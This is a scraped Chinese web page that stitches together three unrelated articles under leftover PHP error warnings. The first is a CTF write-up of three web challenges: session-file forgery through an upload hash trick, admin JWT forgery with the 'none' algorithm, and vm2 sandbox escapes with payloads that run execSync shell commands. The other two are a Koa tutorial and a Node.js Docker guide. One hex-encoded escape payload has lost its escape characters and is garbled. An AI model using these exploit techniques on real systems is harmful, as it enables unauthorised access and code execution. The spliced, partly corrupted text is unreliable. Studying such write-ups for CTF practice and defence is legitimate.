Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
文是i春秋論壇作家「OPLV1H」表哥參加2020數字中國創新大賽-虎符網絡安全賽道線上初賽的賽后總結,關于Web的Writeup記錄,感興趣的小伙伴快來學習吧。
1、hash_file — 是使用給定文件的內容生成哈希值,和文件名稱無關。
2、jwt令牌結構和jwt_tools的使用。
3、nodejs沙箱溢出進行Getshell。
正 文
Web 1 BabyUpload
直接貼出源碼
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path)); header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>
題目大概的邏輯就是先將session存儲在/var/babyctf/中,如果session['username']==='admin',并且file_exists('/var/babyctf/success.txt')存在,則會顯出flag了,注意這里是file_exist函數。
等于說是檢查有沒有這個路徑或者文件,這里為后面做了鋪墊。接下來就是提供了上傳和下載兩個功能,這里存在一處暗示性的代碼:
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
因為我們知道,session默認的存儲名稱為sess_XXXXX(為PHPSESSID的值),那么我們先結合download來看一下自己的session,因為服務器端存儲的session內容以及格式我們并不知道,查看一下自己的PHPSESSID對應的session。
這里session內容的格式具有一定的迷惑性,查看hex發現前面還藏了個0x08的不可見字符,我們如果想要構造時也需要修改第一個字符為不可見的0x08,有下載也有上傳,而且需要session['username']===admin,因此我們應該需要構造并且上傳一個session,并且知道其對應的PHPSSEID,再回到暗示性代碼上:
文件路徑為/var/babyctf/filename_xxxxxx(此處我們知道上傳的內容,因此這部分可控)因此我們如果將filename設為sess,那不就直接成為session文件了嗎,再利用得到的xxxxx替換原來的PHPSESSID,這樣就能die出flag了。
步驟一:構造sess文件
sess文件的內容直接將guest改為admin即可,但注意需要用winhex將第一個字符改成0x08。
<html>
<head>
<title></title>
</head>
<body>
<form action="http://2709576a-448b-41c9-84bc-b5939c904ab9.node3.buuoj.cn" method="post" enctype="multipart/form-data">
<input type="text" name="attr" />
<br>
<input type="text" name="direction" />
<br>
<input type="file" name="upload_file" />
<br>
<input type="submit" />
</body>
</html>
將sess上傳:
我們可以根據上述download一樣,查看一下是否已經成功上傳了sess_xxxx文件。
步驟三:根據hash_file構造的文件(即PHPSESSID值)進行替換原來的PHPSESSID得到flag。
Web 2 EasyLogin
直接給登錄框了,首先進行萬能密碼和掃描目錄的嘗試,沒有收獲,接下來F12查看源代碼,發現/static/js/app.js,果然存在,貼下源碼:
const Koa = require('koa');
const bodyParser = require('koa-bodyparser');
const session = require('koa-session');
const static = require('koa-static');
const views = require('koa-views');
const crypto = require('crypto');
const { resolve } = require('path');
const rest = require('./rest');
const controller = require('./controller');
const PORT = 3000;
const app = new Koa();
app.keys = [crypto.randomBytes(16).toString('hex')];
global.secrets = [];
app.use(static(resolve(__dirname, '.')));
app.use(views(resolve(__dirname, './views'), {
extension: 'pug'
}));
app.use(session({key: 'sses:aok', maxAge: 86400000}, app));
// parse request body:
app.use(bodyParser());
// prepare restful service
app.use(rest.restify());
// add controllers:
app.use(controller());
app.listen(PORT);
console.log(`app started at port ${PORT}...`);
可知還存在rest.js和controller.js,看這兩個又能發現/controllers/api.js,貼一下關鍵的代碼:
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
ctx.rest({
token: token
});
await next();
},
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});
await next();
},
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
這就涉及到知識盲區了,后來復現發現是jwt的相關知識,在這里整理一下:
JSON Web令牌以緊湊的形式由三部分組成,這些部分由點(.)分隔,分別是:
因此,JWT通常形式是xxxxx.yyyyy.zzzzz。
頭部(Header)
頭部用于描述關于該JWT的最基本的信息,通常由兩部分組成:令牌的類型(即JWT)和所使用的簽名算法。
例如:
{"alg": "HS256","typ": "JWT"}
然后,此JSON被Base64Url編碼以形成JWT的第一部分。
有效載荷(Payload)
令牌的第二部分是載荷,放置了 token 的一些基本信息,以幫助接受它的服務器來理解這個 token。同時還可以包含一些自定義的信息,用戶信息交換。
載荷示例可能是:
{"sub": "1234567890","name": "John Doe","admin": true}
然后,對載荷進行Base64Url編碼,以形成JSON Web令牌的第二部分。
簽名(Signature)
要創建簽名部分,您必須獲取編碼的頭部,編碼的有效載荷,密鑰,頭部中指定的算法,并對其進行簽名。
例如,如果要使用HMAC SHA256算法,則將通過以下方式創建簽名:
HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret)
簽名用于驗證消息在整個過程中沒有更改,并且對于使用私鑰進行簽名的令牌,它還可以驗證JWT的發送者是它所說的真實身份。
但是在這里卻存在個問題,const secret = global.secrets[sid];這里通過全局變量設置了一個secret并作為密鑰進行簽名,而簽名算法保證了JWT在傳輸的過程中不被惡意用戶修改但是header中的alg字段可被修改為none,一些JWT庫支持none算法,即沒有簽名算法,當alg為none時后端不會進行簽名校驗。
但是簽名不是我們能夠直接控制的,但是sid我們是可以控制的,如果在這里我們將sid設置為0.1,可以成功滿足條件并繞過,使得secret是不存在的,也就是null。這里就能直接使用jwt_tools進行生成。
而我們知道有關jwt token的攻擊方法其實分為三種:
1、將簽名算法改為none
2、將RS256算法改為HS256(非對稱密碼算法=>對稱密碼算法)
3、破解HS256(對稱加密算法)密鑰
這里說明一下jwt-tools的用法
破解密鑰(HMAC算法)
python3 jwt_tool.py JWT_HERE -C -d dictionary.txt
嘗試使用“無”算法來創建未驗證的令牌:
python3 jwt_tool.py JWT_HERE -A
我們可以交互方式篡改標頭,有效負載和簽名:
$python3 jwt_tool.py JWT_HERE(jwt token) -T
得到jwt
token:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6IjAuMiIsInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTU4NzU2MDY0Nn0
只需要修改有效負載,然后最后將標頭alg設為none,就會得到篡改后的jwt token,此時服務器也不會使用簽名校驗,這樣就成功偽造admin,就能調用api/getflag( ),得到flag。
Web 3 JustEscape
這個題移花接木,得到run.php后告訴你:
<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
$code = $_GET['code'];
echo eval(code);
} else {
highlight_file(__FILE__);
}
?>
隨便輸個函數卻給我返回SyntaxError,欺負我沒學過JS。不過結合前文提示,確實不是PHP,而是nodejs寫的,這就涉及到知識盲區了,沒錯全是知識盲區。復現后才知道,原來nodejs是有沙箱逃逸的,可以google hack出HackIM 2019 Web的一道題和這個題類似。
解法1
這里我們需要知道加載的模塊,根據google hack學到的,code=Error( ).stack
的確是設置了vm的模塊,直接去github上找vm2有的issues,然后試試。找到了幾個,payload一打過去,全給我搞出鍵盤,類比python沙箱逃逸,應該也是ban了一些函數,和其他大佬討論發現既然是禁函數,那如果我code設置為數組,不是就可以繞過禁函數了嗎?
接下來直接開找,issues上是breakout的應該都是能逃逸的payload,結果發現:
說是非法return,那就刪掉return試試,發現能夠成功逃逸,實現RCE。最后flag在根目錄下,直接讀取即可。
payload:?code[]=try{Buffer.from(new Proxy({}, {getOwnPropertyDescriptor(){throw f=>f.constructor("return process")();}}));}catch(e){ e(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();}
解法2
類比python的沙箱逃逸,如果一些進制轉換的函數沒有被禁止,我們應該是可以通過一些拼接來得到一些命令,還是能夠繞過實行RCE。這里學習了其他大佬的解法,發現可以通過十六進制編碼來進行關鍵字繞過:
即將一些關鍵字來進行16進制編碼:(vm2倉庫下的issues里面將關鍵字編碼成16進制)
payload=(function(){TypeError[`x70x72x6fx74x6fx74x79x70x65`][`x67x65x74x5fx70x72x6fx63x65x73x73`]=f=>fx63x6fx6ex73x74x72x75x63x74x6fx72();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){returne[x67x65x74x5fx70x72x6fx63x65x73x73](()=>{}).mainModule.require((`x63x68x69x6cx64x5fx70x72x6fx63x65x73x73`))x65x78x65x63x53x79x6ex63.toString();}})()
注:文章素材來源于i春秋社區, 以上是個人關于本次比賽的一些解題思路,歡迎交流補充。
js
中文官網 https://ejs.bootcss.com/
npm https://www.npmjs.com/package/ejs
github https://github.com/mde/ejs
官網 http://ejs.co/
npm install --save ejs
下面接著創建package.json
npm init
網址 https://koa.bootcss.com/
github https://github.com/koajs/koa
官網 https://koajs.com/
npm https://www.npmjs.com/package/koa
npm --install --save koa
koa2基礎
架設http服務器
const koa = require('koa');
const app = new koa();
app.listen(3000);
輸入網址 http://127.0.0.1:3000/ 即可完成假設
輸出hello world
const koa = require('koa');
const app = new koa();
const main = ctx => {
ctx.response.body = "hello world";
}
app.use(main);
app.listen(3000);
上方是回調,將會使用main,main進行回調一個匿名函數,完成body的設置。
ctx.response
代表著一個http的請求
不同的請求返回不同的類型
const koa = require('koa');
const app = new koa();
const main = ctx => {
if (ctx.request.accepts('xml')) {
ctx.response.type = 'xml';
ctx.response.body = '<data>hello world</data>';
} else if (ctx.request.accepts('json')) {
ctx.response.type = 'json';
ctx.response.body = {'data': 'hello world'};
} else if (ctx.request.accepst('html')) {
ctx.response.type = 'html';
ctx.response.body = '<p>hello world</p>'
} else {
ctx.response.type = 'text';
ctx.response.body = 'hello world';
}
}
app.use(main);
app.listen(3000);
ps 使用https://www.getpostman.com/ 編輯http請求,發送http請求
即可完成。
網頁模板
使用fs模塊,使用流,將客戶端和文件之間建立流的關系,然后將其對接
const koa = require('koa');
const fs = require('fs');
const app = new koa();
const main = ctx => {
ctx.response.type = 'html';
ctx.response.body = fs.createReadStream('./index.html'); // 創建一個流,將流進行對接
}
app.use(main);
app.listen(3000);
路由
ctx.request.path
ctx.request.path 外加if語句實現路由
使用koa-route
繼續下載
npm install --save koa-route
編寫代碼
const koa = require('koa');
const route = require('koa-route');
const app = new koa();
const about = ctx => {
ctx.response.type = 'html';
ctx.response.body = '<h2>hello world</h2>'
}
const main = ctx => {
ctx.response.type = 'html';
ctx.response.body = 'hello world'
}
app.use(route.get('/', main));
app.use(route.get('/about', about));
app.listen(3000);
訪問
http://127.0.0.1:3000/about
http://127.0.0.1:3000/
完成路由
靜態資源
koa-static
npm https://www.npmjs.com/package/koa-static
接著下載安裝
npm i koa-static
編寫入口文件。
const koa = require('koa');
const app = new koa();
const server = require('koa-static'); // 靜態資源
const route = require('koa-route');
const static = server(__dirname + '/public');
const about = ctx => {
ctx.response.type = 'html';
ctx.response.body = '<h2>hello world</h2>';
}
app.use(route.get('/about', about));
app.use(static);
app.listen(3000);
訪問 http://127.0.0.1:3000/1.png 將會返回public下的1.png文件
訪問 http://127.0.0.1:3000/about 將會被路由進行捕獲
重定向
const koa = require('koa');
const app = new koa();
const server = require('koa-static'); // 靜態資源
const route = require('koa-route');
const static = server(__dirname + '/public');
const about = ctx => {
ctx.response.type = 'html';
ctx.response.body = '<h2>hello world</h2>';
}
const redirect = ctx => {
ctx.response.redirect('/');
ctx.response.body = '<a href="/">Index Page</a>'
};
app.use(route.get('/about', about));
app.use(route.get('/redirect', redirect));
app.use(static);
app.listen(3000);
上方完成了一次頁面的跳轉
中間件
const koa = require('koa');
const app = new koa();
const server = require('koa-static'); // 靜態資源
const route = require('koa-route');
const static = server(__dirname + '/public');
const about = ctx => {
ctx.response.type = 'html';
ctx.response.body = '<h2>hello world</h2>';
}
const redirect = ctx => {
ctx.response.redirect('/');
ctx.response.body = '<a href="/">Index Page</a>'
};
const main = ctx => {
ctx.response.body = 'hello world';
}
// 中間件
const logger = (ctx, next) => {
console.log('info!')
next(); // 繼續調用下一個中間件
}
app.use(logger);
app.use(route.get('/', main));
app.use(route.get('/about', about));
app.use(route.get('/redirect', redirect));
app.use(static);
app.listen(3000);
上方的加載所有的都會使用一個中間件
中間件棧
中間件棧實現的是一個先進后出
PS C:\Users\mingm\Desktop\ejs> node index.js
> one
> two
> three
< three
< two
< one
const koa = require('koa');
const app = new koa();
const server = require('koa-static'); // 靜態資源
const route = require('koa-route');
const static = server(__dirname + '/public');
const about = ctx => {
ctx.response.type = 'html';
ctx.response.body = '<h2>hello world</h2>';
}
const redirect = ctx => {
ctx.response.redirect('/');
ctx.response.body = '<a href="/">Index Page</a>'
};
const main = ctx => {
ctx.response.body = 'hello world';
}
// 中間件
const one = (ctx, next) => {
console.log('> one');
next(); // 裝載下一個中間件
console.log('< one');
}
const two = (ctx, next) => {
console.log('> two');
next();
console.log('< two');
}
const three = (ctx, next) => {
console.log('> three');
next();
console.log('< three');
}
app.use(one);
app.use(two);
app.use(three);
app.use(route.get('/', main));
app.use(route.get('/about', about));
app.use(route.get('/redirect', redirect));
app.use(static);
app.listen(3000);
異步
是滴,node.js最重要的是異步,以及回調
es7的異步函數
一段代碼直接說明
function resolveAfter2Seconds() {
return new Promise(resolve => {
setTimeout(() => {
resolve('resolved');
console.log('我是執行結果4')
}, 2000);
});
}
async function asyncCall() {
console.log('calling');
console.log('我是執行結果3')
var result = await resolveAfter2Seconds();
console.log(result);
console.log('我是執行結果2');
// expected output: 'resolved'
}
asyncCall();
console.log('我是執行結果1');
輸出結果為
> "calling"
> "我是執行結果3"
> "我是執行結果1"
> "我是執行結果4"
> "resolved"
> "我是執行結果2"
運行過程為先運行函數asyncCall,接著輸出calling和結果3,繼續到await語句的時候,為一個回調的語句,此時主線程,因為遇到await語句,將會直接進行輸出執行結果1的內容,等待著resolveAfter2Seconds后執行完畢,進行回調。(Promise 對象為一個暫時保存回調內容的一個對象)Promise對象將會暫時保存運行的結果,運行結果為結果4和resolved,等待執行完畢以后,將會把暫時保存的內容,賦值給result變量,由于此時已經執行完畢,將會繼續運行下方的內容,輸出result中的內容,result中的內容為異步的執行的內容,接著,輸出結果2,完成運行。
koa2中運行異步
const koa = require('koa');
const fs = require('fs');
const app = new koa();
const server = require('koa-static'); // 靜態資源
const route = require('koa-route');
// 路由處理函數
const static = server(__dirname + '/public');
const main = async ctx => {
ctx.response.type = 'html';
console.log('one one one one');
ctx.response.body = await file();
console.log('one one one');
};
// 異步函數
function file() {
return new Promise((resolve, reject) => {
fs.readFile('./index.html', 'utf8', (err, data) => {
if (err) {
reject(console.log(err));
} else {
resolve(data);
console.log('one one');
}
})
})
}
// 中間件
const one = async (ctx, next) => {
console.log('one');
await next();
console.log('one one one one one one ')
}
app.use(one);
app.use(route.get('/', main));
console.log('one one one one one one ')
app.use(static);
app.listen(3000);
結果
oen one one one one
one
one one one one
one one
one one one
one one one one one one
所有的都要使用異步操作,
由于全部都是異步,將會先調用最后的一個,
接著 調用中間件的內容。
由于中間件也為異步,將會繼續異步main,
由于main也為異步,將會調用異步函數file中的內容。
接著,按照上面的順序倒著回來,最后完成中間件
ps 由于中間件的異步,這樣就成功的模擬的中間件的正常的模型
正常的中間件
const koa = require('koa');
const app = new koa();
const main = ctx => {
ctx.response.type = 'html';
console.log('3')
ctx.response.body = '<h1>hello world</h1>'
console.log('4');
};
const one = (ctx, next) => {
console.log('info!');
console.log('1')
next();
console.log('2')
}
app.use(one);
app.use(main);
app.listen(3000);
運行結果
info!
1
3
4
2
先進去,等到全部執行完成以后,在出來,中間件包裹著全部
不加異步的中間件
const koa = require('koa');
const fs = require('fs');
const app = new koa();
const server = require('koa-static'); // 靜態資源
const route = require('koa-route');
// 路由處理函數
const static = server(__dirname + '/public');
const main = async ctx => {
ctx.response.type = 'html';
console.log('one one one one');
ctx.response.body = await file();
console.log('one one one');
};
// 異步函數
function file() {
return new Promise((resolve, reject) => {
fs.readFile('./index.html', 'utf8', (err, data) => {
if (err) {
reject(console.log(err));
} else {
resolve(data);
console.log('one one');
}
})
})
}
// 中間件
const one = (ctx, next) => {
console.log('one');
next();
console.log('one one one one one one ')
}
app.use(one);
app.use(route.get('/', main));
console.log('oen one one one one');
app.use(static);
app.listen(3000);
運行結果
oen one one one one
one
one one one one
one one one one one one
one one
one one one
可以發現,變現的'溢出'
中間件的合成
koa-compose
npm https://www.npmjs.com/package/koa-compose
下載安裝
比較簡單,看文檔就行。
錯誤處理
同try類似使用throw拋出錯誤。
cookies
ctx.cookies 用來讀取cookies客戶端發送的cookies內容
const koa = require('koa');
const app = new koa();
const route = require('koa-route');
const main = (ctx) => {
const n = Number(ctx.cookies.get('view') || 0) + 1; // 獲取客戶端的cookice,如果不存在,直接取0,括號內的為一個選擇語句,然后將其cookice進行加1操作
ctx.cookies.set('view', n); // 發送讀取到的cookice
ctx.response.type = 'html';
ctx.response.body = n + 'views'; // 將結果輸出
}
app.use(route.get('/', main));
app.listen(3000);
完成操作
表單操作
即post和get操作
繼續使用模塊 koa-body
github https://github.com/dlau/koa-body
npm https://www.npmjs.com/package/koa-body
安裝
npm i koa-body
支持json格式數據的提交哦
const Koa = require('koa');
const koaBody = require('koa-body');
const app = new Koa();
const main = ctx => {
ctx.body = JSON.stringify(ctx.request.body);
};
app.use(koaBody());
app.use(main);
app.listen(3000);
客戶端發送
name=Jack
格式為
text/plain
返回的都為字符串
文件上傳暫時搞不定。
ejs
需要先安裝koa模板中間件
官網 https://www.npmjs.com/package/koa-views
npm install --save koa-views
index.js文件
const koa = require('koa');
const views = require('koa-views');
const path = require('path');
const app = new koa();
// 加載模板引擎
app.use(views(path.join(__dirname, './view'), { extension: 'ejs' }));
const main = async ctx => {
let title = 'hello';
await ctx.render('index', {title})
}
app.use(main);
app.listen(3000);
view下的index.ejs文件
<!doctype html>
<html>
<head>
<title><%= title %></title>
</head>
<body>
<h1><%= title %></h1>
<p>hello world</p>
</body>
</html>
訪問http://127.0.0.1:3000/
內容完成動態的更新
ps 上傳文件還是不太會,無奈
docker容器的出現,徹底的改變了應用程序的運行方式,而nodejs同樣的也顛覆了后端應用程序的開發模式。兩者結合起來,就會產生意想不到的作用。
本文將會以一個常用的nodejs程序為例,分析怎么使用docker來構建nodejs image.
一個標準的nodejs程序,需要一個package.json文件來描述應用程序的元數據和依賴關系,然后通過npm install來安裝應用的依賴關系,最后通過node app.js來運行程序。
本文將會創建一個簡單的koa應用程序,來說明docker的使用。
首先創建package.json文件:
{
"name": "koa-docker",
"description": "怎么將nodejs koa程序打包成docker應用",
"version": "0.0.1",
"dependencies": {
"ejs": "^2.5.6",
"fs-promise": "^2.0.3",
"koa": "^2.2.0",
"koa-basic-auth": "^2.0.0",
"koa-body": "^4.0.8",
"koa-compose": "^4.0.0",
"koa-csrf": "^3.0.6",
"koa-logger": "^3.0.0",
"@koa/router": "^8.0.5",
"koa-session": "^5.0.0",
"koa-static": "^3.0.0",
"koa-views": "^6.0.2"
},
"scripts": {
"test": "NODE_ENV=test mocha --harmony --reporter spec --require should */test.js",
"lint": "eslint ."
},
"engines": {
"node": ">= 7.6"
},
"license": "MIT"
}
上面的package.json文件制定了項目的依賴。
接下來,我們需要使用npm install來安裝項目的依賴,安裝好的項目依賴文件將會放在本地的node_modules文件夾中。
然后我們就可以編寫服務程序了:
const Koa = require('koa');
const app = module.exports = new Koa();
app.use(async function(ctx) {
ctx.body = 'Hello www.flydean.com';
});
if (!module.parent) app.listen(3000);
上面是一個非常簡單的koa服務端程序,監聽在3000端口,并且對每次請求都會返回‘Hello www.flydean.com’。
運行node app.js 我們就可以開啟web服務了。
好了,我們的服務程序搭建完畢,接下來,我們看一下docker打包nodejs程序的最佳實踐。
為了創建docker image,我們需要一個Dockerfile文件,作為該image的描述。
我們一步一步的講解,如何創建這個Dockerfile文件。
為了運行docker程序,我們需要指定一個基本的image,比如操作系統,node為我們提供了一個封裝好的image,我們可以直接引用:
FROM node:12
我們指定了node的12版本,這個版本已經安裝好了最新的LTS node 12,使用這個image我們就可以不需要自己來安裝node的相關環境,非常的方便。
有了image,接下來就需要我們指定docker中的工作目錄:
# Create app directory
WORKDIR /data/app
接下來我們需要將package*.json文件拷貝進image中,并且運行npm install來安裝依賴庫:
COPY package*.json ./
RUN npm install
上面我們拷貝的是package*.json,因為如果我們本地運行過npm install命令的話,將會生成一個pacakge-lock.json文件。這個文件是為了統一依賴包版本用的。我們需要一并拷貝。
拷貝完之后就可以運行npm install來安裝依賴包了。
問題?為什么我們只拷貝了pacakge.json,而不是拷貝整個工作目錄呢?
回答:docker file中的每一個命令,都會導致創建一個新的layer,上面的docker file中,只要pakage.json沒有被修改,新創建的docker image其實是可以共享layer緩存的。
但是如果我們直接添加本地的工作目錄,那么只要我們的工作目錄有文件被修改,會導致整個docker image重新構建。所以為了提升構建效率和速度,我們只拷貝package.json。
最后的工作就是拷貝應用程序app.js然后運行了:
# 拷貝應用程序
COPY app.js .
# 暴露端口
EXPOSE 8080
# 運行命令
CMD [ "node", "app.js" ]
最后,我們的dockerfile文件應該是這樣的:
FROM node:12
# Create app directory
WORKDIR /data/app
COPY package*.json ./
RUN npm install
# 拷貝應用程序
COPY app.js .
# 暴露端口
EXPOSE 8080
# 運行命令
CMD [ "node", "app.js" ]
我們知道git會有一個.gitignore文件,同樣的docker也有一個.dockerignore文件,這個文件的作用就是避免你的本地文件被拷貝到docker image中。
node_modules
比如我們可以在其中指定node_modules,使其不會被拷貝。
創建docker image很簡單,我們可以使用下面的命令:
docker build -t flydean/koa-web-app .
創建完畢之后,我們可以使用docker images來查看剛剛創建好的image :
docker images
# Example
REPOSITORY TAG ID CREATED
node 12 1934b0b038d1 5 days ago
flydean/koa-web-app latest d64d3505b0d2 1 minute ago
最后,我們可以通過docker run命令來運行應用程序
docker run -p 54321:8080 -d flydean/koa-web-app
然后我們就可以通過本地的54321端口來訪問應用程序了。
這里我們來探討一下創建docker image需要注意的事項。
默認情況下,docker中的應用程序會以root用戶來運行,為了安全起見,建議大家以普通用戶來運行應用程序,我們可以在docker file中指定:
FROM node:12
...
# 在最后,以node用戶來運行應用程序
USER node
或者我們在運行的時候以 -u “node” 作為啟動參數來指定運行的用戶。
docker run \
-u "node"
flydean/koa-web-app
node的應用程序很多時候需要依賴于NODE_ENV來指定運行時環境,我們可以以參數的形式傳遞給docker run命令:
docker run \
-e "NODE_ENV=production"
flydean/koa-web-app
本文作者:flydean程序那些事
本文鏈接:http://www.flydean.com/nodejs-docker-best-practices/
本文來源:flydean的博客
歡迎關注我的公眾號:「程序那些事」最通俗的解讀,最深刻的干貨,最簡潔的教程,眾多你不知道的小技巧等你來發現!
*請認真填寫需求信息,我們會在24小時內與您取得聯系。